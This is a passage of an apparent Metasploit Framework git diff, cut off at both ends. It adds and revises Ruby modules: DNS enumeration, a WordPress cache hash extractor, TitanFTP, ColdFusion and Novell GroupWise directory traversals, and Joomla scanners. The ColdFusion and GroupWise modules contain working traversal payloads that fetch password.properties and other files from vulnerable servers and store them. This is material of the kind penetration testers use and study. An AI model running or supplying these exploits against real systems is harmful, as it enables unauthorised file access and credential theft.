Rex::Socket.dotted_ip?(rr.mname) + record = {} + record[:host] = rr.mname + record[:type] = "SOA" + record[:address] = rr.mname + results << record + else + get_ip(rr.mname).each do |ip| + record = {} + record[:host] = rr.mname.gsub(/\.$/,'') + record[:type] = "SOA" + record[:address] = ip[:address].to_s + results << record + end + end + end + return results + end + + def srvqry(dom) + results = [] + #Most common SRV Records + srvrcd = [ + '_gc._tcp.', '_kerberos._tcp.', '_kerberos._udp.', '_ldap._tcp.', + '_test._tcp.', '_sips._tcp.', '_sip._udp.', '_sip._tcp.', '_aix._tcp.', + '_aix._tcp.', '_finger._tcp.', '_ftp._tcp.', '_http._tcp.', '_nntp._tcp.', + '_telnet._tcp.', '_whois._tcp.', '_h323cs._tcp.', '_h323cs._udp.', + '_h323be._tcp.', '_h323be._udp.', '_h323ls._tcp.', + '_h323ls._udp.', '_sipinternal._tcp.', '_sipinternaltls._tcp.', + '_sip._tls.', '_sipfederationtls._tcp.', '_jabber._tcp.', + '_xmpp-server._tcp.', '_xmpp-client._tcp.', '_imap.tcp.', + '_certificates._tcp.', '_crls._tcp.', '_pgpkeys._tcp.', + '_pgprevokations._tcp.', '_cmp._tcp.', '_svcp._tcp.', '_crl._tcp.', + '_ocsp._tcp.', '_PKIXREP._tcp.', '_smtp._tcp.', '_hkp._tcp.', + '_hkps._tcp.', '_jabber._udp.','_xmpp-server._udp.', '_xmpp-client._udp.', + '_jabber-client._tcp.', '_jabber-client._udp.','_kerberos.tcp.dc._msdcs.', + '_ldap._tcp.ForestDNSZones.', '_ldap._tcp.dc._msdcs.', '_ldap._tcp.pdc._msdcs.', + '_ldap._tcp.gc._msdcs.','_kerberos._tcp.dc._msdcs.','_kpasswd._tcp.','_kpasswd._udp.' + ] + + srvrcd.each do |srvt| + trg = "#{srvt}#{dom}" + begin + + query = @res.query(trg , Net::DNS::SRV) + next unless query + query.answer.each do |srv| + if Rex::Socket.dotted_ip?(srv.host) + record = {} + srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] + record[:host] = srv.host.gsub(/\.$/,'') + record[:type] = "SRV" + record[:address] = srv.host + record[:srv] = srvt + record[:service] = srv_info[0] + record[:proto] = srv_info[1] + record[:port] = srv.port + record[:priority] = srv.priority + results << record + vprint_status("SRV Record: #{trg} Host: #{srv.host.gsub(/\.$/,'')} IP: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}") + else + get_ip(srv.host.gsub(/\.$/,'')).each do |ip| + record = {} + srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] + record[:host] = srv.host.gsub(/\.$/,'') + record[:type] = "SRV" + record[:address] = ip[:address] + record[:srv] = srvt + record[:service] = srv_info[0] + record[:proto] = srv_info[1] + record[:port] = srv.port + record[:priority] = srv.priority + results << record + vprint_status("SRV Record: #{trg} Host: #{srv.host} IP: #{ip[:address]} Port: #{srv.port} Priority: #{srv.priority}") + end + end + end + rescue + end + end + return results + end + + def get_ip(host) + results = [] + query = @res.search(host, "A") + if (query) + query.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + query1 = @res.search(host, "AAAA") + if (query1) + query1.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + return results + end + + def switchdns(ns) + vprint_status("Enumerating SRV Records on: #{ns}") + @res.nameserver=(ns) + @nsinuse = ns + end + + def get_ns(target) + results = [] + query = @res.query(target, "NS") + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| + get_ip(rr.nsdname).each do |r| + record = {} + record[:host] = rr.nsdname.gsub(/\.$/,'') + record[:type] = "NS" + record[:address] = r[:address].to_s + results << record + end + end + return results + end +end + diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index 564218eaa1d7..e03844bf80eb 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -55,9 +55,17 @@ def wordpress_url # Call the User site, so the db statement will be cached def cache_user_info(user_id) - user_url = normalize_uri("/#{wordpress_url}?author=#{user_id}") + user_url = normalize_uri(wordpress_url) begin - send_request_cgi({ "uri" => user_url, "method" => "GET" }) + send_request_cgi( + { + "uri" => user_url, + "method" => "GET", + "vars_get" => { + "author" => user_id.to_s + } + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout vprint_error("Unable to connect to #{url}") return nil @@ -83,7 +91,8 @@ def run_host(ip) key="w3tc_#{host}_#{site_id}_sql_#{query_md5}" key_md5 = ::Rex::Text.md5(key) hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}" - url = normalize_uri("/#{wordpress_url}#{datastore["WP_CONTENT_DIR"]}/w3tc/dbcache#{hash_path}") + url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache") + uri << hash_path result = nil begin diff --git a/modules/auxiliary/admin/ftp/titanftp_xcrc_traversal.rb b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb similarity index 91% rename from modules/auxiliary/admin/ftp/titanftp_xcrc_traversal.rb rename to modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb index 476ccc65f2bf..abe5c91903f2 100644 --- a/modules/auxiliary/admin/ftp/titanftp_xcrc_traversal.rb +++ b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner def proto 'ftp' @@ -28,7 +29,11 @@ def initialize Although the daemon runs with SYSTEM privileges, access is limited to files that reside on the same drive as the FTP server's root directory. }, - 'Author' => 'jduck', + 'Author' => + [ + 'jduck', + 'Brandon McCann @zeknox ', + ], 'License' => MSF_LICENSE, 'References' => [ @@ -47,7 +52,7 @@ def initialize end - def run + def run_host(ip) connect_login @@ -55,7 +60,8 @@ def run res = send_cmd( ['XCRC', path, "0", "9999999999"], true ) if not (res =~ /501 Syntax error in parameters or arguments\. EndPos of 9999999999 is larger than file size (.*)\./) - raise RuntimeError, "Unable to obtain file size! File probably doesn't exist." + print_error("Unable to obtain file size! File probably doesn't exist.") + return end file_size = $1.to_i @@ -94,6 +100,7 @@ def run fname = datastore['PATH'].gsub(/[\/\\]/, '_') p = store_loot("titanftp.traversal", "text/plain", "rhost", file_data, fname) + print_status("Saved in: #{p}") vprint_status(file_data.inspect) disconnect diff --git a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb index 6f1ada9d1002..18d2d942abe9 100644 --- a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb @@ -47,7 +47,7 @@ def initialize(info = {}) def run_host(ip) print_status("#{rhost}:#{rport} - Sending request...") - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', diff --git a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb index e94787a50ac1..d3e7d5f4ecfd 100644 --- a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb +++ b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb @@ -57,7 +57,7 @@ def rport end def run_host(ip) - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET'}) @@ -71,7 +71,7 @@ def run_host(ip) end def accessfile(rhost) - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) print_status("#{rhost}:#{rport} Connecting to Crowd SOAP Interface") soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' diff --git a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb index 7f7166f93e90..13dc14ef16c9 100644 --- a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb +++ b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb @@ -49,8 +49,7 @@ def initialize(info = {}) def run_host(ip) - base = normalize_uri(target_uri.path) - base << '/' if base[-1,1] != '/' + base = target_uri.path peer = "#{ip}:#{rport}" fname = datastore['FILE'] @@ -61,7 +60,7 @@ def run_host(ip) res = send_request_cgi({ 'method' => 'GET', 'encode_params' => false, - 'uri' => "#{base}gmap/view_overlay.php", + 'uri' => normalize_uri(base, "gmap/view_overlay.php"), 'vars_get' => { 'overlay_type' => "#{traverse}#{fname}%00" } diff --git a/modules/auxiliary/scanner/http/clansphere_traversal.rb b/modules/auxiliary/scanner/http/clansphere_traversal.rb index 5919941a7530..f851e2596b9e 100644 --- a/modules/auxiliary/scanner/http/clansphere_traversal.rb +++ b/modules/auxiliary/scanner/http/clansphere_traversal.rb @@ -46,7 +46,6 @@ def initialize(info = {}) def run_host(ip) base = normalize_uri(target_uri.path) - base << '/' if base[-1,1] != '/' peer = "#{ip}:#{rport}" @@ -58,7 +57,7 @@ def run_host(ip) res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}index.php", + 'uri' => normalize_uri(base, "index.php"), 'cookie' => "blah=blah; cs_lang=#{traverse}#{f}%00.png" }) diff --git a/modules/auxiliary/scanner/http/cold_fusion_version.rb b/modules/auxiliary/scanner/http/cold_fusion_version.rb index 92aaba751ef8..64bb92f12aaf 100644 --- a/modules/auxiliary/scanner/http/cold_fusion_version.rb +++ b/modules/auxiliary/scanner/http/cold_fusion_version.rb @@ -36,11 +36,10 @@ def fingerprint(response) end end - len = (response.body.length > 2500) ? 2500 : response.body.length return nil if response.body.length < 100 title = "Not Found" - if(response.body =~ /(.+)<\/title\/?>/i) + if(response.body =~ /(.+)<\/title\/?>/im) title = $1 title.gsub!(/\s/, '') end @@ -51,9 +50,11 @@ def fingerprint(response) if(response.body =~ />\s*Version:\s*(.*)<\/strong\>\s+ url, 'method' => 'GET', - }, 5) + }) return if not res or not res.body or not res.code res.body.gsub!(/[\r|\n]/, ' ') diff --git a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb index f02623f760d1..caa420175688 100644 --- a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb +++ b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb @@ -29,8 +29,12 @@ def initialize to have directory traversal protections in place, subsequently this module does NOT work against ColdFusion 9. Adobe did not release patches for ColdFusion 6.1 or ColdFusion 7. + + It is not recommended to set FILE when doing scans across a group of servers where the OS + may vary; otherwise, the file requested may not make sense for the OS + }, - 'Author' => [ 'CG' ], + 'Author' => [ 'CG', 'nebulus' ], 'License' => MSF_LICENSE, 'References' => [ @@ -45,40 +49,149 @@ def initialize register_options( [ - OptString.new('URL', [ true, "URI Path", '/CFIDE/administrator/enter.cfm']), - OptString.new('PATH', [ true, "traversal and file", '../../../../../../../../../../ColdFusion8/lib/password.properties%00en']), + OptString.new('FILE', [ false, 'File to retrieve', '']), + OptBool.new('FINGERPRINT', [true, 'Only fingerprint endpoints', false]) ], self.class) end + def fingerprint(response) + + if(response.headers.has_key?('Server') ) + if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/) + os = "Windows (#{response.headers['Server']})" + elsif(response.headers['Server'] =~ /Apache\//) + os = "Unix (#{response.headers['Server']})" + else + os = response.headers['Server'] + end + end + + return nil if response.body.length < 100 + + title = "Not Found" + response.body.gsub!(/[\r\n]/, '') + if(response.body =~ /(.+)<\/title\/?>/i) + title = $1 + title.gsub!(/\s/, '') + end + return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/) + + out = nil + + if(response.body =~ />\s*Version:\s*(.*)<\/strong\>\s+ url+locale+trav, - 'method' => 'GET', - 'headers' => - { + res = send_request_cgi({ + 'uri' => url, + 'method' => 'GET', 'Connection' => "keep-alive", 'Accept-Encoding' => "zip,deflate", - }, - }, -1) - - if (res.nil?) - print_error("no response for #{ip}:#{rport} #{url}") - elsif (res.code == 200) - #print_error("#{res.body}")#debug - print_status("URL: #{ip}#{url}") - if match = res.body.match(/\(.*)\<\/title\>/im); - fileout = $1 - print_status("FILE OUTPUT:\n" + fileout + "\r\n") + }) + + return if not res or not res.body or not res.code + + if (res.code.to_i == 200) + out = fingerprint(res) + print_status("#{ip} #{out}") if out + return if (datastore['FINGERPRINT']) + + if(out =~ /Windows/ and out =~ /MX6/) + trav = '..\..\..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en' + elsif(out =~ /Windows/ and out =~ /MX7/) + trav = '..\..\..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en' + elsif(out =~ /Windows/ and out =~ /ColdFusion 8/) + trav = '..\..\..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en' + elsif(out =~ /ColdFusion 9/) + print_status("#{ip} ColdFusion 9 is not vulnerable, skipping") + return + elsif(out =~ /Unix/ and out =~ /MX6/) + trav = '../../../../../../../../../../opt/coldfusionmx/lib/password.properties%00en' + elsif(out =~ /Unix/ and out =~ /MX7/) + trav = '../../../../../../../../../../opt/coldfusionmx7/lib/password.properties%00en' + elsif(out =~ /Unix/ and out =~ /ColdFusion 8/) + trav = '../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en' + else + if(res.body =~ /Adobe/ and res.body =~ /ColdFusion/) + print_error("#{ip} Fingerprint failed, FILE not set...aborting") + else + return # probably just a web server + end + end else - '' + return # silent fail as it doesnt necessarily at this point have to be a CF server + end + end + + # file specified or obtained via fingerprint + if(trav !~ /\.\.\/\.\.\// and trav !~ /\.\.\\\.\.\\/) + # file probably specified by user, make sure to add in actual traversal + trav = '../../../../../../../../../../' << trav << '%00en' + end + + locale = "?locale=" + + urls = ["/CFIDE/administrator/enter.cfm", "/CFIDE/wizards/common/_logintowizard.cfm", "/CFIDE/administrator/archives/index.cfm", + "/CFIDE/administrator/entman/index.cfm", "/CFIDE/administrator/logging/settings.cfm"] + # "/CFIDE/install.cfm", haven't seen where this one works + + out = '' # to keep output in synch with threads + urls.each do |url| + res = send_request_raw({ + 'uri' => url+locale+trav, + 'method' => 'GET', + 'headers' => + { + 'Connection' => "keep-alive", + 'Accept-Encoding' => "zip,deflate", + }, + }) + + + if (res.nil?) + print_error("no response for #{ip}:#{rport} #{url}") + elsif (res.code == 200) + #print_error("#{res.body}")#debug + print_status("URL: #{ip}#{url}#{locale}#{trav}") + if res.body.match(/\(.*)\<\/title\>/im) + fileout = $1 + if(fileout !~ /Login$/ and fileout !~ /^Welcome to ColdFusion/ and fileout !~ /^Archives and Deployment/) + print_good("#{ip} FILE: #{fileout}") + break + end + end + else + next if (res.code == 500 or res.code == 404 or res.code == 302) + print_error("#{ip} #{res.inspect}") end - else - '' end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError diff --git a/modules/auxiliary/scanner/http/concrete5_member_list.rb b/modules/auxiliary/scanner/http/concrete5_member_list.rb index af224e664ad5..23e159e537ab 100644 --- a/modules/auxiliary/scanner/http/concrete5_member_list.rb +++ b/modules/auxiliary/scanner/http/concrete5_member_list.rb @@ -44,10 +44,10 @@ def peer end def run_host(rhost) - url = normalize_uri(datastore['URI']) + url = normalize_uri(datastore['URI'], '/index.php/members') begin - res = send_request_raw({'uri' => "#{url}/index.php/members"}) + res = send_request_raw({'uri' => url}) rescue ::Rex::ConnectionError print_error("#{peer} Unable to connect to #{url}") diff --git a/modules/auxiliary/scanner/http/crawler.rb b/modules/auxiliary/scanner/http/crawler.rb index 6d50554d9873..8488c24dd0e7 100644 --- a/modules/auxiliary/scanner/http/crawler.rb +++ b/modules/auxiliary/scanner/http/crawler.rb @@ -21,6 +21,9 @@ def initialize 'License' => MSF_LICENSE ) + register_advanced_options([ + OptString.new('ExcludePathPatterns', [false, 'Newline-separated list of path patterns to ignore (\'*\' is a wildcard)']), + ]) @for_each_page_blocks = [] end @@ -31,6 +34,17 @@ def focus_crawl(page) end =end + # Overrides Msf::Auxiliary::HttpCrawler#get_link_filter to add + # datastore['ExcludePathPatterns'] + def get_link_filter + return super if datastore['ExcludePathPatterns'].to_s.empty? + + patterns = opt_patterns_to_regexps( datastore['ExcludePathPatterns'].to_s ) + patterns = patterns.map { |r| "(#{r.source})" } + + Regexp.new( [["(#{super.source})"] | patterns].join( '|' ) ) + end + def run super @@ -163,31 +177,34 @@ def crawler_process_page(t, page, cnt) end end - form = {}.merge!(form_template) - form[:method] = (f['method'] || 'GET').upcase - form[:query] = target.query.to_s if form[:method] != "GET" - form[:path] = target.path - form[:params] = [] - f.css('input', 'textarea').each do |inp| - form[:params] << [inp['name'].to_s, inp['value'] || inp.content || '', { :type => inp['type'].to_s }] - end + # skip this form if it matches exclusion criteria + if !(target.to_s =~ get_link_filter) + form = {}.merge!(form_template) + form[:method] = (f['method'] || 'GET').upcase + form[:query] = target.query.to_s if form[:method] != "GET" + form[:path] = target.path + form[:params] = [] + f.css('input', 'textarea').each do |inp| + form[:params] << [inp['name'].to_s, inp['value'] || inp.content || '', { :type => inp['type'].to_s }] + end - f.css( 'select' ).each do |s| - value = nil + f.css( 'select' ).each do |s| + value = nil - # iterate over each option to find the default value (if there is a selected one) - s.children.each do |opt| - ov = opt['value'] || opt.content - value = ov if opt['selected'] - end + # iterate over each option to find the default value (if there is a selected one) + s.children.each do |opt| + ov = opt['value'] || opt.content + value = ov if opt['selected'] + end - # set the first one as the default value if we don't already have one - value ||= s.children.first['value'] || s.children.first.content rescue '' + # set the first one as the default value if we don't already have one + value ||= s.children.first['value'] || s.children.first.content rescue '' - form[:params] << [ s['name'].to_s, value.to_s, [ :type => 'select'] ] - end + form[:params] << [ s['name'].to_s, value.to_s, [ :type => 'select'] ] + end - forms << form + forms << form + end end end @@ -252,4 +269,14 @@ def form_from_url( website, url ) form[:method] ? form : nil end + private + def opt_patterns_to_regexps( patterns ) + magic_wildcard_replacement = Rex::Text.rand_text_alphanumeric( 10 ) + patterns.to_s.split( /[\r\n]+/).map do |p| + Regexp.new '^' + Regexp.escape( p.gsub( '*', magic_wildcard_replacement ) ). + gsub( magic_wildcard_replacement, '.*' ) + '$' + end + end + + end diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb index 97a97ae75d52..dfbaca5d16fe 100644 --- a/modules/auxiliary/scanner/http/dolibarr_login.rb +++ b/modules/auxiliary/scanner/http/dolibarr_login.rb @@ -112,7 +112,7 @@ def do_login(user, pass) end def run - @uri = normalize_uri(target_uri) + @uri = normalize_uri(target_uri.path) @uri.path << "/" if @uri.path[-1, 1] != "/" @peer = "#{rhost}:#{rport}" diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index 7f698f9bff79..a58f98fb73fd 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -98,7 +98,7 @@ def send_request(path, method, session='', data=nil, ctype=nil) headers['Content-Type'] = ctype if ctype != nil headers['Content-Length'] = data.length if data != nil - uri = normalize_uri(target_uri) + uri = normalize_uri(target_uri.path) res = send_request_raw({ 'uri' => "#{uri}#{path}", 'method' => method, @@ -218,7 +218,7 @@ def run_host(ip) #Get GlassFish version edition, version, banner = get_version(res) - path = normalize_uri(datastore['PATH']) + path = normalize_uri(target_uri.path) target_url = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}" print_status("#{target_url} - GlassFish - Attempting authentication") diff --git a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb new file mode 100644 index 000000000000..1cd2f5df0752 --- /dev/null +++ b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb @@ -0,0 +1,91 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Novell Groupwise Agents HTTP Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability in Novell Groupwise. + The vulnerability exists in the web interface of both the Post Office and the + MTA agents. This module has been tested successfully on Novell Groupwise 8.02 HP2 + over Windows 2003 SP2. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'r () b13$', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2012-0419' ], + [ 'OSVDB', '85801' ], + [ 'BID', '55648' ], + [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7010772' ] + ] + )) + + register_options( + [ + Opt::RPORT(7181), # Also 7180 can be used + OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptInt.new('DEPTH', [true, 'Traversal depth if absolute is set to false', 10]) + ], self.class) + end + + def is_groupwise? + res = send_request_raw({'uri'=>'/'}) + if res and res.headers['Server'].to_s =~ /GroupWise/ + return true + else + return false + end + end + + def run_host(ip) + + if not is_groupwise? + vprint_error("#{rhost}:#{rport} - This isn't a GroupWise Agent HTTP Interface") + return + end + + travs = "" + travs << "../" * datastore['DEPTH'] + + travs = normalize_uri("/help/", travs, datastore['FILEPATH']) + + vprint_status("#{rhost}:#{rport} - Sending request...") + res = send_request_cgi({ + 'uri' => travs, + 'method' => 'GET', + }) + + if res and res.code == 200 + contents = res.body + fname = File.basename(datastore['FILEPATH']) + path = store_loot( + 'novell.groupwise', + 'application/octet-stream', + ip, + contents, + fname + ) + print_good("#{rhost}:#{rport} - File saved in: #{path}") + else + vprint_error("#{rhost}:#{rport} - Failed to retrieve file") + return + end + end +end diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb index af6efdbdfcb7..4fdb5bab9317 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb @@ -60,8 +60,10 @@ def run_host(ip) print_status("#{@peer} - Connecting to SiteScope SOAP Interface") + uri = normalize_uri(@uri, 'services/APISiteScopeImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APISiteScopeImpl", + 'uri' => uri, 'method' => 'GET'}) if not res @@ -91,8 +93,10 @@ def access_configuration print_status("#{@peer} - Retrieving the SiteScope Configuration") + uri = normalize_uri(@uri, 'services/APISiteScopeImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APISiteScopeImpl", + 'uri' => uri, 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, diff --git a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb index e58d4282b9c2..e3fb1fe573e2 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb @@ -59,8 +59,10 @@ def run_host(ip) print_status("#{@peer} - Connecting to SiteScope SOAP Interface") + uri = normalize_uri(@uri, 'services/APIMonitorImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APIMonitorImpl", + 'uri' => uri, 'method' => 'GET'}) if not res @@ -95,8 +97,10 @@ def accessfile print_status("#{@peer} - Retrieving the file contents") + uri = normalize_uri(@uri, 'services/APIMonitorImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APIMonitorImpl", + 'uri' => uri, 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, diff --git a/modules/auxiliary/scanner/http/http_put.rb b/modules/auxiliary/scanner/http/http_put.rb index f7ab2fd9a74e..f0e18eedaee8 100644 --- a/modules/auxiliary/scanner/http/http_put.rb +++ b/modules/auxiliary/scanner/http/http_put.rb @@ -81,7 +81,7 @@ def do_put(path, data) begin res = send_request_cgi( { - 'uri' => path, + 'uri' => normalize_uri(path), 'method' => 'PUT', 'ctype' => 'text/plain', 'data' => data, @@ -102,7 +102,7 @@ def do_delete(path) begin res = send_request_cgi( { - 'uri' => path, + 'uri' => normalize_uri(path), 'method' => 'DELETE', 'ctype' => 'text/html', }, 20 @@ -119,7 +119,7 @@ def do_delete(path) # Main function for the module, duh! # def run_host(ip) - path = normalize_uri(datastore['PATH']) + path = datastore['PATH'] data = datastore['FILEDATA'] if path[-1,1] != '/' diff --git a/modules/auxiliary/scanner/http/joomla_pages.rb b/modules/auxiliary/scanner/http/joomla_pages.rb new file mode 100644 index 000000000000..78b45d33e948 --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_pages.rb @@ -0,0 +1,109 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + # Huge thanks to @zeroSteiner for helping me. Also thanks to @kaospunk. Finally thanks to + # Joomscan and various MSF modules for code examples. + def initialize + super( + 'Name' => 'Joomla Page Scanner', + 'Description' => %q{ + This module scans a Joomla install for common pages. + }, + 'Author' => [ 'newpid0' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def run_host(ip) + tpath = normalize_uri(target_uri.path) + if tpath[-1,1] != '/' + tpath += '/' + end + + pages = [ + 'robots.txt', + 'administrator/index.php', + 'admin/', + 'index.php/using-joomla/extensions/components/users-component/registration-form', + 'index.php/component/users/?view=registration', + 'htaccess.txt' + ] + + vprint_status("#{peer} - Checking for interesting pages") + pages.each do |page| + scan_pages(tpath, page, ip) + end + + end + + def scan_pages(tpath, page, ip) + res = send_request_cgi({ + 'uri' => "#{tpath}#{page}", + 'method' => 'GET', + }) + return if not res or not res.body or not res.code + res.body.gsub!(/[\r|\n]/, ' ') + + if (res.code == 200) + note = "Page Found" + if (res.body =~ /Administration Login/ and res.body =~ /\(\'form-login\'\)\.submit/ or res.body =~/administration console/) + note = "Administrator Login Page" + elsif (res.body =~/Registration/ and res.body =~/class="validate">Register<\/button>/) + note = "Registration Page" + end + + print_good("#{peer} - #{note}: #{tpath}#{page}") + + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'http', + :ntype => 'joomla_page', + :data => "#{note}: #{tpath}#{page}", + :update => :unique_data + ) + elsif (res.code == 403) + if (res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + vprint_status("#{ip} denied access to #{ip} (SSL Required)") + elsif (res.body =~ /has a list of IP addresses that are not allowed/) + vprint_status("#{ip} restricted access by IP") + elsif (res.body =~ /SSL client certificate is required/) + vprint_status("#{ip} requires a SSL client certificate") + else + vprint_status("#{ip} ip access to #{ip} #{res.code} #{res.message}") + end + end + + return + + rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return + rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return + end + +end diff --git a/modules/auxiliary/scanner/http/joomla_plugins.rb b/modules/auxiliary/scanner/http/joomla_plugins.rb new file mode 100644 index 000000000000..37dff56fd4ca --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_plugins.rb @@ -0,0 +1,175 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + # Huge thanks to @zeroSteiner for helping me. Also thanks to @kaospunk. Finally thanks to + # Joomscan and various MSF modules for code examples. + def initialize + super( + 'Name' => 'Joomla Plugins Scanner', + 'Description' => %q{ + This module scans a Joomla install for plugins and potential + vulnerabilities. + }, + 'Author' => [ 'newpid0' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']), + OptPath.new('PLUGINS', [ true, "Path to list of plugins to enumerate", File.join(Msf::Config.install_root, "data", "wordlists", "joomla.txt")]) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def run_host(ip) + tpath = normalize_uri(target_uri.path) + if tpath[-1,1] != '/' + tpath += '/' + end + + vprint_status("#{peer} - Checking for interesting plugins") + res = send_request_cgi({ + 'uri' => tpath, + 'method' => 'GET' + }) + return if res.nil? + + res.body.gsub!(/[\r|\n]/, ' ') + File.open(datastore['PLUGINS'], 'rb').each_line do |line| + papp = 